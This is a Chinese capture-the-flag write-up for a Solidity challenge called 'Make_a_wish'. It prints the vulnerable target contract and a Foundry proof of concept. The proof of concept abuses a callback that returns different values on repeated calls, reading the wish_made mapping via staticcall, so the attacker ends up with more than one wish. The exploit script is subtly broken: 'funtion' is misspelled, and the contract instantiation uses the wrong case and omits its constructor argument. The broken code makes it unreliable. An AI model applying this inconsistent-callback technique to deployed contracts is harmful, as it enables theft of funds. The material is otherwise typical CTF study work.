心想事成

考察的主要是关于wish_made(address)这个映射的变化从而让三元运算符给出不同的值,然后完成题目的要求通过这个题目。需要注意的是我们调用的地址需要时EOA的地址不是攻击合约的地址。
(其中这个是按照正常逻辑来的,更高深的一点就是按照我们的staiticall绕过漏洞)

目标合约:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Wish_Maker {
function wish_amount() external view returns (uint256);
}

contract Make_a_wish {
address public owner;
mapping(address => bool) public started;
mapping(address => uint256) public wishes;
mapping(address => bool) public wish_made;

modifier challenge_started() {
require(started[tx.origin] == true, "Challenge not initialized.");
_;
}

modifier remains_wish() {
require(wishes[tx.origin] > 0, "No wishes remaining.");
_;
}

modifier onlyOwner() {
require(owner == msg.sender, "Only the owner can close the challenge.");
_;
}

constructor() {
owner = msg.sender;
}

function start_challenge() public {
require(
started[tx.origin] == false,
"Can't start challenge when it's open."
);
started[tx.origin] = true;
wishes[tx.origin] = 1;
}

function end_challenge(address addr) public onlyOwner {
started[addr] = false;
wishes[addr] = 0;
wish_made[addr] = false;
}

function wish_making() external challenge_started remains_wish {
Wish_Maker wish_maker = Wish_Maker(msg.sender);
bool is_less_than = false;
if (wish_maker.wish_amount() < 1) {
is_less_than = true;
}
wish_made[tx.origin] = true;
if (is_less_than) {
wishes[tx.origin] = wish_maker.wish_amount();
} else {
wishes[tx.origin]--;
}
}

function regret() external challenge_started {
wishes[tx.origin] = 1;
wish_made[tx.origin] = false;
}

function is_solved(address addr) public view returns (bool) {
return wishes[addr] > 1 ? true : false;
}
}

Poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
// SPDX-License-Identifier: SEE LICENSE IN LICENSE
pragma solidity ^0.8.0;

import {Wish_Maker} from "../src/contract.sol"; // 导入接口
import {Make_a_wish} from "../src/contract.sol"; // 导入目标合约//0x9a4A301d0C9330F45b29D4877fFD39435A1f3e74
import {Script} from "forge-std/Script.sol";

contract Hack is Make_a_wish {
Make_a_wish public target;

constructor(address addr) {
target = Make_a_wish(addr);
}

function wish_amount() external view returns (uint256) {
address Eoa_addr = 0x949AC2C16Ea7B0B003927Db532908Fc97090d9E5;
(bool success, bytes memory data) = address(target).staticcall(
abi.encodeWithSignature("wish_made(address)", Eoa_addr)
);
require(success, "Failed to read target state");

bool wishMade = abi.decode(data, (bool));
return wishMade ? 2 : 0;
}

function attack() external {
target.regret();
target.wish_making();
}
}

contract Attack is Script, Hack {
funtion run() external{
vm.startBroadcast();
Hack hack = new hack();
hack.attack();
vm.stopBroadcast();
}
}